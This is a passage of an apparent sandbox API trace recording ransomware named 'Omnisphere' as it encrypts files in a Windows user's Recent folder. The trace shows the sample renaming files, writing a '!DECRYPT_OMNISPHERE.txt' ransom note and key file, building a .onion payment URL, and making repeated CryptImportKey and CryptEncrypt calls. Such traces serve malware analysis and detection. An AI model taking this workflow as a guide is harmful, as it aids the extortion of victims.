lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms.omnisphere.id" [0128.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9c08ad74ad8708df.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.174] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.175] CloseHandle (hObject=0x388) returned 1 [0128.175] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.176] CloseHandle (hObject=0x3c0) returned 1 [0128.176] SetEndOfFile (hFile=0x288) returned 1 [0128.176] FlushFileBuffers (hFile=0x288) returned 1 [0128.179] CloseHandle (hObject=0x288) returned 1 [0128.180] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.180] GetProcessHeap () returned 0x1600000 [0128.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fd080 [0128.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.180] GetProcessHeap () returned 0x1600000 [0128.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f2018 [0128.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f2018, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.180] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.180] GetProcessHeap () returned 0x1600000 [0128.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17107a0 [0128.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17107a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.180] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.180] GetProcessHeap () returned 0x1600000 [0128.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb298 [0128.180] PathCombineW (in: pszDest=0x16fb298, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.180] GetProcessHeap () returned 0x1600000 [0128.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1704ba0 [0128.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.181] WriteFile (in: hFile=0x288, lpBuffer=0x1704ba0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1704ba0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.181] CloseHandle (hObject=0x288) returned 1 [0128.181] GetProcessHeap () returned 0x1600000 [0128.181] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fd080 | out: hHeap=0x1600000) returned 1 [0128.181] GetProcessHeap () returned 0x1600000 [0128.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.181] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.182] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.182] CloseHandle (hObject=0x288) returned 1 [0128.182] GetProcessHeap () returned 0x1600000 [0128.182] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.182] GetProcessHeap () returned 0x1600000 [0128.182] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.182] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64ad8bc0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64ad8bc0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64ad8bc0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="9cfafb05ce914942.automaticDestinations-ms", cAlternateFileName="9CFAFB~1.AUT")) returned 1 [0128.182] GetProcessHeap () returned 0x1600000 [0128.182] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.183] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="9cfafb05ce914942.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" [0128.183] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9cfafb05ce914942.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.183] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.184] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.185] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.186] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.186] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.186] CloseHandle (hObject=0x3c0) returned 1 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.186] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] GetTickCount () returned 0x115ffb9 [0128.187] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668928) returned 1 [0128.188] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0128.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.188] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.188] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0128.188] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.189] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.189] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16688a0) returned 1 [0128.190] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.190] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.190] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.191] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.192] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 